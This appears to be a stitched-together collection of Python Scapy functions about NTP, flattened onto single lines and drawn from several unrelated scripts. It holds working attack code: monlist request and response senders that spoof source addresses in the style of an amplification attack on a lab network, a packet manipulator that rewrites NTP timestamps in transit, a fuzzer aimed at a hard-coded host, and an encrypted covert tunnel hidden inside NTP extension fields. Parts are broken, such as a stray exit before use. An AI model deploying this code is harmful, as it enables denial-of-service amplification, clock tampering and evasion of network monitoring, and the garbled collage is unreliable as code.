def handle_pkt(pkt, iface): #NTP_MONLIST_RESPONSE = "\xd7\x00\x03\x2a" + "\x00" * 4 #NTP_MONLIST_RESPONSE = "\xd7\x00\x03\x2a" + "\x00\x01\x00\x24" + "\x00" * 64 NTP_ITEMS = "\x06" #ra = bytearray(random.getrandbits(8) for _ in xrange(3)) ra = "\x06\x01" print ra.decode("utf-8") exit(1) NTP_MONLIST_RESPONSE = "\xd7\x00\x03\x2a" + "\x00" + ra + "\x00\x48" + "\x00" * 72 * 6 if IP in pkt and UDP in pkt and pkt[IP].src != h2_ip: src_mac = pkt[Ether].src dst_mac = pkt[Ether].dst src_ip = pkt[IP].src dst_ip = pkt[IP].dst proto = pkt[IP].proto sport = pkt[UDP].sport dport = pkt[UDP].dport id_tup = (src_ip, dst_ip, proto, sport, dport) if src_ip in VALID_IPS: if id_tup not in totals: totals[id_tup] = 0 totals[id_tup] += 1 print("Received from %s total: %s" % (id_tup, totals[id_tup])) # Respond with random payload p = Ether(dst=src_mac, src=dst_mac) / IP(dst=pkt[IP].src, src=pkt[IP].dst) p = p / UDP(dport=pkt[UDP].sport, sport=123) / NTP(NTP_MONLIST_RESPONSE) print p.show() sendp(p, iface=iface, loop=0)
def handle_pkt(pkt, iface): print iface #NTP_MONLIST_RESPONSE = "\xd7\x00\x03\x2a" + "\x00" * 4 #NTP_MONLIST_RESPONSE = "\xd7\x00\x03\x2a" + "\x00\x01\x00\x24" + "\x00" * 64 NTP_ITEMS = "\x02" NTP_ITEMS_INT = 2 NTP_MONLIST_RESPONSE = "\xd7\x00\x03\x2a" + "\x00" + NTP_ITEMS + "\x00\x48" + "\x00" * 72 * NTP_ITEMS_INT if IP in pkt and UDP in pkt and pkt[IP].src != h2_ip: src_mac = pkt[Ether].src dst_mac = pkt[Ether].dst src_ip = pkt[IP].src dst_ip = pkt[IP].dst proto = pkt[IP].proto sport = pkt[UDP].sport dport = pkt[UDP].dport id_tup = (src_ip, dst_ip, proto, sport, dport) if src_ip in VALID_IPS: if id_tup not in totals: totals[id_tup] = 0 totals[id_tup] += 1 print ("Received from %s total: %s" % (id_tup, totals[id_tup])) # Respond with random payload p = Ether(dst=src_mac,src=dst_mac)/IP(dst=pkt[IP].src,src=pkt[IP].dst) p = p/UDP(dport=pkt[UDP].sport,sport=123)/NTP(NTP_MONLIST_RESPONSE) print p.show() sendp(p, iface = iface, loop=0)
def manipulate(self, package): pkt = IP(package.get_payload()) udp = pkt.getlayer(UDP) del pkt.chksum del pkt.len del udp.chksum del udp.len if pkt.haslayer(NTP): ntp = pkt.getlayer(NTP) else: ntp = NTP(pkt.load) # Timestamp to UTC time self.log("---------------------------------") self.log("[*] NTP packet:") self.log("---------------------------------") ref = self.ntp_system(ntp.ref) recv = self.ntp_system(ntp.recv) sent = self.ntp_system(ntp.sent) # Upgrade the year new_ref = self.upgrade(ref) new_recv = self.upgrade(recv) new_sent = self.upgrade(sent) # UTC time to timestamp ntp.recv = self.system_ntp(new_recv) ntp.sent = self.system_ntp(new_sent) ntp.ref = self.system_ntp(new_ref) package.set_payload(bytes(pkt)) #self.log('Packet !') self.log("Reference Timestamp : ") self.log("\t" + str(ref) + ' -> ' + str(datetime.datetime.fromtimestamp(new_ref))) self.log("Receive Timestamp : ") self.log("\t" + str(recv) + ' -> ' + str(datetime.datetime.fromtimestamp(new_recv))) self.log("Transmit Timestamp : ") self.log("\t" + str(sent) + ' -> ' + str(datetime.datetime.fromtimestamp(new_sent))) package.accept()
def send_random_traffic(dst): NTP_MONLIST_REQUEST = "\x17\x00\x03\x2a" + "\x00" * 4 #NTP_MONLIST_RESPONSE = "\xd7\x00\x03\x2a" + "\x00" * 4 NTP_MONLIST_RESPONSE = "\xd7\x00\x03\x2a" + "\x00\x01\x00\x24" + "\x00" * 64 dst_mac = None dst_ip = None src_mac = [get_if_hwaddr(i) for i in get_if_list() if i == 'eth0'] if len(src_mac) < 1: print("No interface for output") sys.exit(1) src_mac = src_mac[0] src_ip = None if dst == 'h1': dst_mac = "00:00:00:00:00:01" dst_ip = "10.0.0.1" elif dst == 'h2': dst_mac = "00:00:00:00:00:02" dst_ip = "10.0.0.2" elif dst == 'h3': dst_mac = "00:00:00:00:00:03" dst_ip = "10.0.0.3" else: print("Invalid host to send to") sys.exit(1) # Create N src ip N = 1 src_ip_list = list() src_dict = dict() for i in range(0, N): src_ip_list.append(gen_random_ip()) total_pkts = 0 #for src_ip in src_ip_list: for src_ip in ['10.0.0.1']: num_packets = 10 port = random.randint(1024, 65535) for i in range(num_packets): data = set_payload(400) p = Ether(dst=dst_mac, src=src_mac) / IP(dst=dst_ip, src=src_ip) p = p / UDP(dport=123, sport=port) / NTP(NTP_MONLIST_REQUEST) print p.show() sendp(p, iface="eth0") total_pkts += 1 #print('total_pkts untill now: ' + str(total_pkts)) print "Sent %s packets in total" % total_pkts
def send_random_traffic(host, num_of_messages): NTP_ITEMS = "\x02" NTP_ITEMS_INT = 2 NTP_MONLIST_RESPONSE = "\xd7\x00\x03\x2a" + "\x00" + NTP_ITEMS + "\x00\x48" + "\x00" * 72 * NTP_ITEMS_INT dst_mac = None src_ip = None dst_ip = None legitimate_pkts = 0 spoofed_pkts = 0 total_pkts = 0 # host info -- can be anything src_ip = '10.0.1.99' src_mac = '00:00:00:00:01:99' # Dest info dst_ip = '10.0.1.' + host.split('h')[1] dst_mac = '00:00:00:00:01:0' + host.split('h')[1] # Get name of eth0 interface iface_eth0 = '' for i in get_if_list(): if 'eth0' in i or 's0' in i: iface_eth0 = i mac_iface_eth0 = get_if_hwaddr(iface_eth0) ip_addr_eth0 = get_ip_address(iface_eth0) if len(mac_iface_eth0) < 1: print ("No interface for output") sys.exit(1) # Send request and sleep for some time N = int(num_of_messages) for i in range(N): port = random.randint(1024, 65535) p = Ether(dst=dst_mac,src=src_mac)/IP(dst=dst_ip,src=src_ip) p = p/UDP(dport=123,sport=port)/NTP(NTP_MONLIST_RESPONSE) print p.show() sendp(p, iface = iface_eth0, loop=0) total_pkts += 1 print '' print "Sent %s packets in total" % total_pkts
def send_random_traffic(num_of_messages): NTP_MONLIST_REQUEST = "\x17\x00\x03\x2a" + "\x00" * 4 dst_mac = None src_ip = None dst_ip = None legitimate_pkts = 0 spoofed_pkts = 0 total_pkts = 0 # h1 info src_ip = '10.0.1.1' src_mac = '00:00:00:00:01:01' # Dest info dst_ip = '10.0.1.3' dst_mac = '00:00:00:00:01:99' # Get name of eth0 interface iface_eth0 = '' for i in get_if_list(): if 'eth0' in i or 's0' in i: iface_eth0 = i mac_iface_eth0 = get_if_hwaddr(iface_eth0) ip_addr_eth0 = get_ip_address(iface_eth0) if len(mac_iface_eth0) < 1: print("No interface for output") sys.exit(1) # Send request and sleep for some time N = int(num_of_messages) for i in range(N): port = random.randint(1024, 65535) p = Ether(dst=dst_mac, src=src_mac) / IP(dst=dst_ip, src=src_ip) p = p / UDP(dport=123, sport=port) / NTP(NTP_MONLIST_REQUEST) print p.show() sendp(p, iface=iface_eth0, loop=0) total_pkts += 1 print '' print "Sent %s packets in total" % total_pkts
def send_random_traffic(dst): NTP_MONLIST_REQUEST = "\x17\x00\x03\x2a" + "\x00" * 4 #NTP_MONLIST_RESPONSE = "\xd7\x00\x03\x2a" + "\x00" * 4 NTP_MONLIST_RESPONSE = "\xd7\x00\x03\x2a" + "\x00\x01\x00\x24" + "\x00" * 64 dst_mac = None src_ip = None dst_ip = None legitimate_pkts = 0 spoofed_pkts = 0 total_pkts = 0 # List used to get a random IP source ips_list = ['10.0.1.1','10.0.1.2','10.0.1.3'] # Map IP to respective mac # This is needed when trying to send spoofed packet # We must match IP source with MAC source. mac_addresses = { '10.0.1.1' : "00:00:00:00:01:01", '10.0.1.2' : "00:00:00:00:01:02", '10.0.1.3' : "00:00:00:00:01:03" } # Get name of eth0 interface iface_eth0 = '' for i in get_if_list(): if 'eth0' in i or 's0' in i: iface_eth0 = i mac_iface_eth0 = get_if_hwaddr(iface_eth0) ip_addr_eth0 = get_ip_address(iface_eth0) if len(mac_iface_eth0) < 1: print ("No interface for output") sys.exit(1) if dst == 'h1': dst_mac = "00:00:00:00:01:01" dst_ip = "10.0.1.1" elif dst == 'h2': dst_mac = "00:00:00:00:01:02" dst_ip = "10.0.1.2" elif dst == 'h3': dst_mac = "00:00:00:00:01:03" dst_ip = "10.0.1.3" else: print ("Invalid host to send to") sys.exit(1) N = 10 for i in range(N): # Choose random source IP random_number = random.randint(0,2) src_ip = ips_list[random_number] # Legitimate packet. # Increment counter and set source mac if src_ip == ip_addr_eth0: legitimate_pkts += 1 src_mac = mac_iface_eth0 # Spoofed packet # Match source IP with correspondent mac address else: src_mac = mac_addresses[src_ip] spoofed_pkts += 1 port = random.randint(1024, 65535) p = Ether(dst=dst_mac,src=src_mac)/IP(dst=dst_ip,src=src_ip) p = p/UDP(dport=123,sport=port)/NTP(NTP_MONLIST_REQUEST) print p.show() sendp(p, iface = iface_eth0, loop=0) total_pkts += 1 print '' print "Sent %s legitimate packets" % legitimate_pkts print "Sent %s spoofed packets" % spoofed_pkts print "Sent %s packets in total" % total_pkts
#!/usr/bin/python #-*- coding: utf-8 -*- # Docs for interactive use # https://scapy.readthedocs.io/en/latest/usage.html?highlight=fuzz#fuzzing # Interactive example: >>> send(IP(dst="127.0.0.1")/fuzz(UDP()/NTP(version=4)),loop=1) from scapy.all import sr1, IP, fuzz, UDP, NTP target = "127.0.0.1" target = "192.168.49.39" while True: sr1(IP(dst=target) / fuzz(UDP() / NTP(version=4)), inter=4, timeout=1)
def run(self): mtu = self._tun.mtu r = [self._tun, self._sock] w = [] x = [] to_tun = '' to_sock = '' # Role if self._role == "client": ntpFieldType = b'\x20\x00' else: ntpFieldType = b'\xA0\x00' # Set up (de)encryptors # FIXME use better encryption mode = AES.MODE_ECB encryptor = AES.new(self._key, mode) encryption = True while True: try: r, w, x = select.select(r, w, x) if self._tun in r: to_sock = self._tun.read(mtu) if self._sock in r: to_tun, addr = self._sock.recvfrom(65535) if addr[0] != self._raddr or addr[1] != self._rport: to_tun = '' # drop packet # Remove NTP Header and Extension Field header to_tun = to_tun[52:] # Get padding length extensionFieldPaddingLength = unpack('!H', to_tun[:2])[0] # Remove extensionFieldPaddingLength to_tun = to_tun[2:] if encryption: # Get encryption padding length encryptPaddingLength = unpack('!H', to_tun[:2])[0] # Remove encryptPaddingField to_tun = to_tun[2:] # Remove padding if extensionFieldPaddingLength > 0: to_tun = to_tun[:-extensionFieldPaddingLength] if encryption: # Decrypt data to_tun = encryptor.decrypt(to_tun) # Remove encryption padding if encryptPaddingLength > 0: to_tun = to_tun[:-encryptPaddingLength] if self._tun in w: self._tun.write(to_tun) to_tun = '' if self._sock in w: if encryption: # Pad data until it is 16 bytes encryptPaddingLength = math.ceil(len(to_sock)/16)*16 \ - len(to_sock) encryptPaddingField = pack('!H', encryptPaddingLength) # Encrypt data to_sock = encryptor.encrypt(to_sock + b'\x00' * encryptPaddingLength) else: encryptPaddingField = b'' # Lengths extensionFieldHeaderLength = 4 extensionFieldHeaderPaddingLength = 2 payloadLength = (len(to_sock) + extensionFieldHeaderLength + extensionFieldHeaderPaddingLength) extensionFieldPaddingLength = ( math.ceil(payloadLength / 4) * 4 - payloadLength) # Calculate padding length fieldPaddingLength = pack('!H', extensionFieldPaddingLength) # Random padding padding = bytes([ random.randint(0, 255) for i in range(0, extensionFieldPaddingLength) ]) # NTP header extension field length ntpFieldLength = pack( '!H', payloadLength + extensionFieldPaddingLength) # NTP header if self._role == "client": ntpHeader = bytes( NTP(leap=3, version=4, mode=3, stratum=0, poll=3, precision=250, delay=1, dispersion=1, id="", ref=0, orig=0, recv=0, sent=None)) else: ntpHeader = bytes( NTP(leap=0, version=4, mode=4, stratum=2, poll=3, precision=236, delay=(0.1 * random.random()), dispersion=(0.002 + 0.001 * random.random()), id=self._laddr, ref=None, orig=None, recv=None, sent=None)) # Build encapsulated packet encapsulatedPacket = (ntpHeader + ntpFieldType + ntpFieldLength + fieldPaddingLength + encryptPaddingField + to_sock + padding) self._sock.sendto(encapsulatedPacket, (self._raddr, self._rport)) to_sock = '' r = [] w = [] if to_tun: w.append(self._tun) else: r.append(self._sock) if to_sock: w.append(self._sock) else: r.append(self._tun) except (select.error, socket.error, pytun.Error) as e: if e == errno.EINTR: continue print(str(e)) break
def main(): parser = optparse.OptionParser() parser.add_option('--tun-addr', dest='taddr', help='set tunnel local address') parser.add_option('--tun-dstaddr', dest='tdstaddr', help='set tunnel destination address') parser.add_option('--tun-netmask', default='255.255.255.0', dest='tmask', help='set tunnel netmask') parser.add_option('--tun-mtu', type='int', default=1500, dest='tmtu', help='set tunnel MTU') parser.add_option('--local-addr', default='0.0.0.0', dest='laddr', help='set local address [%default]') parser.add_option('--remote-addr', dest='raddr', help='set remote address [%default]') parser.add_option('--role', default='client', dest='role', help='set role client or server [%default]') parser.add_option('--password', default='password', dest='password', help='set password used to encrypt [%default]') opt, args = parser.parse_args() ntpPort = 123 if not (opt.taddr and opt.tdstaddr): parser.print_help() return 1 # The client has to specify a remote address if opt.role == "client" and not opt.raddr: parser.print_help() return 1 try: ntpFieldLength = b'\x00\x12' ntpFieldTypeRequest = b'\xFF\x00' ntpFieldTypeResponse = b'\x00\xFF' padding = b'\xFF' * 16 if (opt.role == "client"): # Send tunnel request ntpHeader = bytes( NTP(leap=3, version=4, mode=3, stratum=0, poll=3, precision=250, delay=1, dispersion=1, id="", ref=0, orig=0, recv=0, sent=None)) # Build encapsulated packet encapsulatedPacket = IP(dst=opt.raddr, src=opt.laddr)/UDP(sport=ntpPort,dport=ntpPort)/ \ (ntpHeader + ntpFieldTypeRequest + ntpFieldLength + padding) print("Sending tunnel request to %s." % (opt.raddr)) send(encapsulatedPacket) # Wait for tunnel response coming in print("Waiting for reply.") while True: # Wait for tunnel request coming in packet = sniff(filter="udp port 123", count=1) # Check if it is a tunnel request if packet[0]["IP"]["UDP"]["NTP"][ "Raw"].load[:2] == ntpFieldTypeResponse: break # Set up tunnel print("Set up tunnel.") server = TunnelServer(opt.taddr, opt.tdstaddr, opt.tmask, opt.tmtu, opt.laddr, ntpPort, opt.raddr, ntpPort, opt.role, opt.password) else: print("Waiting for request.") requestAddress = None while requestAddress == None: # Wait for tunnel request coming in packet = sniff(filter="udp port 123", count=1) # Check if it is a tunnel request if packet[0]["IP"]["UDP"]["NTP"][ "Raw"].load[:2] == ntpFieldTypeRequest: requestAddress = packet[0]["IP"].src print("Got request from %s." % (requestAddress)) break # We need to sleep for a second here to wait for the sniffer # to start at the client side. sleep(1) # Send response to requestAddress ntpHeader = bytes( NTP(leap=0, version=4, mode=4, stratum=2, poll=3, precision=236, delay=(0.1 * random.random()), dispersion=(0.002 + 0.001 * random.random()), id=opt.laddr, ref=None, orig=None, recv=None, sent=None)) # Build encapsulated packet encapsulatedPacket = IP(dst=requestAddress, src=opt.laddr) / UDP( sport=ntpPort, dport=ntpPort) / (ntpHeader + ntpFieldTypeResponse + ntpFieldLength + padding) print("Sending response to %s." % (requestAddress)) send(encapsulatedPacket) # Set up tunnel print("Set up tunnel.") server = TunnelServer(opt.taddr, opt.tdstaddr, opt.tmask, opt.tmtu, opt.laddr, ntpPort, requestAddress, ntpPort, opt.role, opt.password) except (pytun.Error, socket.error) as e: print >> sys.stderr, str(e) return 1 server.run() return 0